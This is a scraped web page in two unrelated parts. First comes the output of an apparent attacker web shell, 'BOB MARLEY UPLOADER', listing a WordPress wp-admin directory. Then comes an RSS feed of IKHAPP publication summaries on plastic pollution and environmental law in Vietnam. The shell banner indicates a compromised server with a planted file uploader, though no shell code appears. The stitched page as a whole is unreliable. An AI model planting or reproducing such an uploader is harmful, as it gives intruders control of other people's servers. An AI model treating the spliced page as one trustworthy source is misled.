♦ BOB MARLEY UPLOADER ♦

One Love | One Heart | One Upload

Current Dir: /var/www/html/wp-admin | [Parent Dir ↑]
NameSizeModifiedPerms
⬆️ ..DIR2025-10-07 13:500755
πŸ“„ about.php18,169 B2026-03-23 06:000755
πŸ“„ admin-ajax.php5,146 B2024-07-04 11:220755
πŸ“„ admin-footer.php2,834 B2024-09-26 15:410755
πŸ“„ admin-functions.php479 B2025-01-22 14:060755
πŸ“„ admin-header.php9,336 B2025-01-24 10:580755
πŸ“„ admin-post.php2,021 B2025-01-16 16:180755
πŸ“„ admin.php12,646 B2026-03-23 06:000755
πŸ“„ async-upload.php5,604 B2026-03-23 06:000755
πŸ“„ authorize-application.php10,335 B2023-09-14 00:540755
πŸ“„ comment.php11,622 B2024-05-01 18:010755
πŸ“„ contribute.php5,998 B2026-03-23 06:000755
πŸ“„ credits.php4,483 B2026-03-23 06:000755
πŸ“ cssDIR2025-04-08 01:070755
πŸ“„ custom-background.php489 B2025-01-22 14:060755
πŸ“„ custom-header.php499 B2025-01-22 14:060755
πŸ“„ customize.php11,271 B2026-03-23 06:000755
πŸ“„ edit-comments.php14,729 B2026-03-23 06:000755
πŸ“„ edit-form-advanced.php29,527 B2025-03-18 20:090755
πŸ“„ edit-form-blocks.php14,947 B2026-03-23 06:000755
πŸ“„ edit-form-comment.php8,543 B2024-11-11 20:430755
πŸ“„ edit-link-form.php6,354 B2025-02-08 11:440755
πŸ“„ edit-tag-form.php10,688 B2024-12-06 17:070755
πŸ“„ edit-tags.php22,533 B2025-01-29 17:400755
πŸ“„ edit.php19,952 B2024-10-03 22:460755
πŸ“„ erase-personal-data.php7,505 B2024-04-17 20:210755
πŸ“„ export-personal-data.php7,941 B2024-04-17 20:210755
πŸ“„ export.php11,288 B2024-05-26 20:510755
πŸ“„ freedoms.php4,916 B2026-03-23 06:000755
πŸ“ imagesDIR2026-03-23 06:000755
πŸ“„ import.php7,766 B2025-02-25 18:340755
πŸ“ includesDIR2025-04-24 23:180755
πŸ“„ index.php7,864 B2023-09-14 00:540755
πŸ“„ install-helper.php6,961 B2022-11-20 14:100755
πŸ“„ install.php18,192 B2026-03-23 06:000755
πŸ“ jsDIR2025-04-25 18:380755
πŸ“„ link-add.php934 B2025-02-08 11:440755
πŸ“„ link-manager.php4,361 B2025-02-08 11:440755
πŸ“„ link-parse-opml.php2,784 B2026-03-23 06:000755
πŸ“„ link.php2,957 B2024-05-01 18:010755
πŸ“„ load-scripts.php2,070 B2024-08-25 23:480755
πŸ“„ load-styles.php2,995 B2024-11-04 15:510755
πŸ“ maintDIR2024-09-17 00:030755
πŸ“„ media-new.php3,276 B2026-03-23 06:000755
πŸ“„ media-upload.php3,668 B2025-02-08 15:530755
πŸ“„ media.php819 B2024-05-01 18:010755
πŸ“„ menu-header.php10,059 B2025-02-20 21:290755
πŸ“„ menu.php17,880 B2026-03-23 06:000755
πŸ“„ moderation.php307 B2020-02-06 06:330755
πŸ“„ ms-admin.php196 B2020-02-06 06:330755
πŸ“„ ms-delete-site.php4,613 B2026-03-23 06:000755
πŸ“„ ms-edit.php216 B2020-02-06 06:330755
πŸ“„ ms-options.php229 B2024-06-22 11:470755
πŸ“„ ms-sites.php215 B2020-02-06 06:330755
πŸ“„ ms-themes.php217 B2020-02-06 06:330755
πŸ“„ ms-upgrade-network.php219 B2020-02-06 06:330755
πŸ“„ ms-users.php215 B2020-02-06 06:330755
πŸ“„ my-sites.php4,858 B2023-09-05 19:260755
πŸ“„ nav-menus.php49,345 B2026-03-23 06:000755
πŸ“ networkDIR2025-02-08 15:530755
πŸ“„ network.php5,522 B2024-03-08 22:380755
πŸ“„ options-discussion.php16,297 B2026-03-23 06:000755
πŸ“„ options-general.php22,167 B2026-03-23 06:000755
πŸ“„ options-head.php621 B2025-01-22 14:060755
πŸ“„ options-media.php6,530 B2026-03-23 06:000755
πŸ“„ options-permalink.php21,726 B2026-03-23 06:000755
πŸ“„ options-privacy.php10,190 B2025-01-20 22:040755
πŸ“„ options-reading.php10,174 B2026-03-23 06:000755
πŸ“„ options-writing.php9,323 B2026-03-23 06:000755
πŸ“„ options.php13,930 B2026-03-23 06:000755
πŸ“„ plugin-editor.php14,082 B2026-03-23 06:000755
πŸ“„ plugin-install.php7,124 B2024-02-20 07:270755
πŸ“„ plugins.php30,724 B2025-02-08 11:440755
πŸ“„ post-new.php2,768 B2024-06-15 12:340755
πŸ“„ post.php10,274 B2026-03-23 06:000755
πŸ“„ press-this.php2,396 B2024-02-26 20:350755
πŸ“„ privacy-policy-guide.php3,756 B2023-11-22 17:440755
πŸ“„ privacy.php2,854 B2026-03-23 06:000755
πŸ“„ profile.php283 B2020-02-06 06:330755
πŸ“„ revision.php5,836 B2026-03-23 06:000755
πŸ“„ setup-config.php17,904 B2025-01-13 14:570755
πŸ“„ site-editor.php12,271 B2026-03-23 06:000755
πŸ“„ site-health-info.php4,088 B2025-02-22 12:120755
πŸ“„ site-health.php10,448 B2026-03-23 06:000755
πŸ“„ term.php2,249 B2022-06-01 18:140755
πŸ“„ theme-editor.php17,279 B2026-03-23 06:000755
πŸ“„ theme-install.php23,945 B2026-03-23 06:000755
πŸ“„ themes.php49,075 B2026-03-23 06:000755
πŸ“„ tools.php3,514 B2023-02-23 10:380755
πŸ“„ update-core.php46,539 B2026-03-23 06:000755
πŸ“„ update.php13,092 B2024-01-30 14:230755
πŸ“„ upgrade-functions.php341 B2020-02-06 06:330755
πŸ“„ upgrade.php6,422 B2026-03-23 06:000755
πŸ“„ upload.php15,259 B2026-03-23 06:000755
πŸ“ userDIR2025-01-22 14:060755
πŸ“„ user-edit.php41,328 B2026-03-23 06:000755
πŸ“„ user-new.php24,623 B2025-03-02 23:350755
πŸ“„ users.php23,846 B2026-03-23 06:000755
πŸ“„ widgets-form-blocks.php5,242 B2026-03-23 06:000755
πŸ“„ widgets-form.php19,754 B2026-03-23 06:000755
πŸ“„ widgets.php1,112 B2022-03-22 19:590755
Powered by BOB MARLEY | One Love
Vietnam Archives - IKHAPP https://ikhapp.org/country/vietnam/ International Knowledge Hub Against Plastic Pollution Sun, 02 Mar 2025 14:04:39 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 https://ikhapp.org/wp-content/uploads/2023/01/cropped-ikhapplogo-bl-1-32x32.jpg Vietnam Archives - IKHAPP https://ikhapp.org/country/vietnam/ 32 32 National Aquaculture Development Program https://ikhapp.org/all-publications/national-aquaculture-development-program/ Sun, 02 Mar 2025 14:04:39 +0000 https://ikhapp.org/?post_type=all_publications&p=3729 It aims to expand sustainable aquaculture, increase productivity, and enhance export value. The program focuses on developing high-value species, improving breeding technologies, and enhancing disease control and environmental sustainability. Key initiatives include reducing plastic use, minimizing environmental impact, and promoting climate-resilient aquaculture. Investments will improve infrastructure, research, and training. The program also encourages digital technologies,[...]

The post National Aquaculture Development Program appeared first on IKHAPP.

]]> It aims to expand sustainable aquaculture, increase productivity, and enhance export value. The program focuses on developing high-value species, improving breeding technologies, and enhancing disease control and environmental sustainability. Key initiatives include reducing plastic use, minimizing environmental impact, and promoting climate-resilient aquaculture. Investments will improve infrastructure, research, and training. The program also encourages digital technologies, product traceability, and international market competitiveness.

The post National Aquaculture Development Program appeared first on IKHAPP.

]]> Law No. 72/2020/QH14 on Environmental Protection https://ikhapp.org/all-publications/law-no-72-2020-qh14-on-environmental-protection/ Sun, 02 Mar 2025 13:22:36 +0000 https://ikhapp.org/?post_type=all_publications&p=3721 The Law on Environmental Protection of Vietnam establishes regulations on environmental management, pollution control, and sustainable development. It defines environmental responsibilities for individuals, organizations, and businesses. Key aspects include environmental impact assessments (EIA), licensing, waste management, pollution control, climate change adaptation, and biodiversity conservation. The Law introduces regulations on air, water, and soil protection; strategic[...]

The post Law No. 72/2020/QH14 on Environmental Protection appeared first on IKHAPP.

]]> The Law on Environmental Protection of Vietnam establishes regulations on environmental management, pollution control, and sustainable development. It defines environmental responsibilities for individuals, organizations, and businesses. Key aspects include environmental impact assessments (EIA), licensing, waste management, pollution control, climate change adaptation, and biodiversity conservation. The Law introduces regulations on air, water, and soil protection; strategic environmental planning; and penalties for violations. It also promotes the circular economy, green development, and international cooperation. Compliance mechanisms include monitoring, enforcement, and incentives for sustainable practices. The Law introduces the concept of circular economy through fostering extended producer responsibility (EPR) policy, and highlights the responsibilities of ministries and localities to integrate circular economy in planning strategies, development plans, waste management, and waste recycling. The Law also highlights the responsibility of producers and importers to recycle products and packaging. It aligns with global environmental treaties and Vietnam’s national development strategies.

The post Law No. 72/2020/QH14 on Environmental Protection appeared first on IKHAPP.

]]> Coastal and marine plastic pollution in Vietnam: Problems and the way out https://ikhapp.org/all-publications/coastal-and-marine-plastic-pollution-in-vietnam-problems-and-the-way-out-2/ Thu, 20 Jun 2024 12:56:59 +0000 https://ikhapp.org/?post_type=all_publications&p=3208 The study investigates the current conditions of coastal and marine plastic pollution in Vietnam, their sources, sinks, and solutions to curb the threat posed to the environment. The key steps that can curb marine and coastal plastic pollution in Vietnam are cleaning up the existing litter, preventing further plastic waste from reaching the coastal and[...]

The post Coastal and marine plastic pollution in Vietnam: Problems and the way out appeared first on IKHAPP.

]]> The study investigates the current conditions of coastal and marine plastic pollution in Vietnam, their sources, sinks, and solutions to curb the threat posed to the environment. The key steps that can curb marine and coastal plastic pollution in Vietnam are cleaning up the existing litter, preventing further plastic waste from reaching the coastal and marine environments, strict legislation, community education, and imposing penalties for dumping plastic litter in the coastal areas. Proper waste management strategies on local and regional scales are inevitable in tackling coastal and marine plastic pollution in Vietnam.

The post Coastal and marine plastic pollution in Vietnam: Problems and the way out appeared first on IKHAPP.

]]> Coastal and marine plastic pollution in Vietnam: Problems and the way out https://ikhapp.org/all-publications/coastal-and-marine-plastic-pollution-in-vietnam-problems-and-the-way-out/ Thu, 20 Jun 2024 11:20:23 +0000 https://ikhapp.org/?post_type=all_publications&p=3184 This study investigates the current conditions of coastal and marine plastic pollution in Vietnam and their sources, sinks, and solutions that can curb the ongoing threat to the environment in the country. The findings from the study reveal that key steps to curb marine and coastal plastic pollution in Vietnam include cleaning up the existing[...]

The post Coastal and marine plastic pollution in Vietnam: Problems and the way out appeared first on IKHAPP.

]]> This study investigates the current conditions of coastal and marine plastic pollution in Vietnam and their sources, sinks, and solutions that can curb the ongoing threat to the environment in the country. The findings from the study reveal that key steps to curb marine and coastal plastic pollution in Vietnam include cleaning up the existing litter, preventing further plastic waste from reaching the coastal and marine environments, strict legislation, community education, and imposing penalties for dumping plastic litter in the coastal areas. The findings from the study reveal that proper waste management strategies at the local and regional scales are inevitable in tackling coastal and marine plastic pollution in Vietnam.

The post Coastal and marine plastic pollution in Vietnam: Problems and the way out appeared first on IKHAPP.

]]> Priorities to inform research on marine plastic pollution in Southeast Asia https://ikhapp.org/all-publications/priorities-to-inform-research-on-marine-plastic-pollution-in-southeast-asia/ Mon, 28 Nov 2022 07:39:34 +0000 https://ikhapp.org/?post_type=all_publications&p=1804 The marine plastic pollution levels in Southeast Asia are among the highest in the world. To develop mitigation measures in the region, we must increase our understanding of the impacts and risks of plastic pollution on marine ecosystems and their essential functions. In a collaborative effort, an interdisciplinary, international group of experts from Australia, Indonesia,[...]

The post Priorities to inform research on marine plastic pollution in Southeast Asia appeared first on IKHAPP.

]]> The marine plastic pollution levels in Southeast Asia are among the highest in the world. To develop mitigation measures in the region, we must increase our understanding of the impacts and risks of plastic pollution on marine ecosystems and their essential functions. In a collaborative effort, an interdisciplinary, international group of experts from Australia, Indonesia, Ireland, Malaysia, the Philippines, Singapore, Thailand, the United Kingdom, and Vietnam developed a research agenda for marine plastic pollution in Southeast Asia, synthesised current knowledge and identified areas for further research. The inductive method was used to identify 21 research questions under five non-predefined key themes, which were grouped according to the following: (1) describe marine plastic pollution in Southeast Asia; (2) analyse its movement and fate in the region; (3) describe the biological and chemical modifications marine plastic pollution undergoes; (4) describe its economic, social, and environmental impacts; and (5) identify possible solutions for regional policies. These research priority areas highlight the importance of better understanding the fate and degradation of marine plastic pollution, as well as the impacts and risks it may pose to communities and ecosystems. Having a thorough understanding of these aspects will assist in supporting actions that are currently hindered by transborder problems, a lack of responsibility, and inaction to tackle the issue at its source within the region. As a profoundly affected region by marine plastic pollution, Southeast Asian countries provide a unique opportunity to evaluate the effectiveness of both high-tech and low-tech solutions and to share insights and actionable models with the rest of the world concerning innovative and socially inclusive changes in marine plastic governance.

The post Priorities to inform research on marine plastic pollution in Southeast Asia appeared first on IKHAPP.

]]> Baseline assessment of microplastic concentrations in marine and freshwater environments of a developing Southeast Asian country, Viet Nam https://ikhapp.org/all-publications/baseline-assessment-of-microplastic-concentrations-in-marine-and-freshwater-environments-of-a-developing-southeast-asian-country-viet-nam/ Mon, 13 Jun 2022 09:56:19 +0000 https://ikhapp.org/?post_type=all_publications&p=1497 Developing country facilities, financial and human resources prevent complete application of sampling, analysis, and observation protocols used in developed countries, necessitating adaptations. Researchers in Vietnam developed and standardised a methodology for microplastic monitoring in sediments and surface waters of 21 environments (rivers, lakes, bays, and beaches) of eight cities or provinces. The concentrations of microplastics[...]

The post Baseline assessment of microplastic concentrations in marine and freshwater environments of a developing Southeast Asian country, Viet Nam appeared first on IKHAPP.

]]> Developing country facilities, financial and human resources prevent complete application of sampling, analysis, and observation protocols used in developed countries, necessitating adaptations. Researchers in Vietnam developed and standardised a methodology for microplastic monitoring in sediments and surface waters of 21 environments (rivers, lakes, bays, and beaches) of eight cities or provinces. The concentrations of microplastics in surface waters ranged from 0.35 to 2522 items m⁻³, with the lowest concentrations recorded in the bays and the highest in the rivers. In most environments (47 to 97%), fibers dominated fragments. Microplastic concentrations were found to be correlated with the pressure of anthropogenic activity on the environment, emphasising the importance of identifying the local sources of microplastics in the near future.

The post Baseline assessment of microplastic concentrations in marine and freshwater environments of a developing Southeast Asian country, Viet Nam appeared first on IKHAPP.

]]> Understanding the role of informal sector for sustainable development of municipal solid waste management system: A case study in Vietnam https://ikhapp.org/all-publications/understanding-the-role-of-informal-sector-for-sustainable-development-of-municipal-solid-waste-management-system-a-case-study-in-vietnam/ Mon, 13 Jun 2022 08:41:12 +0000 https://ikhapp.org/?post_type=all_publications&p=1483 To examine the vital role of the informal sector in the solid waste management (SWM) system in Vietnam, this study uses a systems thinking approach. From a circular economy viewpoint, the flow diagram integrated actors and activities in the informal sector for the first time into a larger SWM system in Vietnam.  

The post Understanding the role of informal sector for sustainable development of municipal solid waste management system: A case study in Vietnam appeared first on IKHAPP.

]]> To examine the vital role of the informal sector in the solid waste management (SWM) system in Vietnam, this study uses a systems thinking approach. From a circular economy viewpoint, the flow diagram integrated actors and activities in the informal sector for the first time into a larger SWM system in Vietnam.

 

The post Understanding the role of informal sector for sustainable development of municipal solid waste management system: A case study in Vietnam appeared first on IKHAPP.

]]> Value Addition to Plastic Solid Wastes: Informal Waste Collectors’ Perspective https://ikhapp.org/all-publications/value-addition-to-plastic-solid-wastes-informal-waste-collectors-perspective/ Mon, 13 Jun 2022 08:34:36 +0000 https://ikhapp.org/?post_type=all_publications&p=1481 The paper assesses the Informal Waste Collectors (IWCs) for how they add value to recovered Plastic Solid Wastes (PSWs) before trading them to the plastic converting companies. Plastic converters can benefit from the identified value-added aspects in terms of sustainable manufacturing and value creation for a circular economy.  

The post Value Addition to Plastic Solid Wastes: Informal Waste Collectors’ Perspective appeared first on IKHAPP.

]]> The paper assesses the Informal Waste Collectors (IWCs) for how they add value to recovered Plastic Solid Wastes (PSWs) before trading them to the plastic converting companies. Plastic converters can benefit from the identified value-added aspects in terms of sustainable manufacturing and value creation for a circular economy.

 

The post Value Addition to Plastic Solid Wastes: Informal Waste Collectors’ Perspective appeared first on IKHAPP.

]]> A review of research on marine plastics in Southeast Asia: Who does what? https://ikhapp.org/all-publications/a-review-of-research-on-marine-plastics-in-southeast-asia-who-does-what/ Mon, 13 Jun 2022 06:14:56 +0000 https://ikhapp.org/?post_type=all_publications&p=1465 This review is focused on marine pollution from marine plastic in Southeast Asia, particularly in the ten ASEAN countries (Brunei Darussalam, Cambodia, Indonesia, Lao PDR, Malaysia, Myanmar, Philippines, Singapore, Thailand and Viet Nam). This paper aims to offer a regional overview of marine plastics research in Southeast Asia. Specifically, this report includes a review of[...]

The post A review of research on marine plastics in Southeast Asia: Who does what? appeared first on IKHAPP.

]]> This review is focused on marine pollution from marine plastic in Southeast Asia, particularly in the ten ASEAN countries (Brunei Darussalam, Cambodia, Indonesia, Lao PDR, Malaysia, Myanmar, Philippines, Singapore, Thailand and Viet Nam). This paper aims to offer a regional overview of marine plastics research in Southeast Asia. Specifically, this report includes a review of the current knowledge about marine plastic pollution within ASEAN member nations, a review of recent marine scientific plastics research about Southeast Asia, and a review of research interest in marine plastics by international and regional intergovernmental organisations. Several years of research by the National University of Singapore (NUS) have resulted in data and analysis contained in the report on marine plastic pollution in Southeast Asia.Β 

 

The post A review of research on marine plastics in Southeast Asia: Who does what? appeared first on IKHAPP.

]]>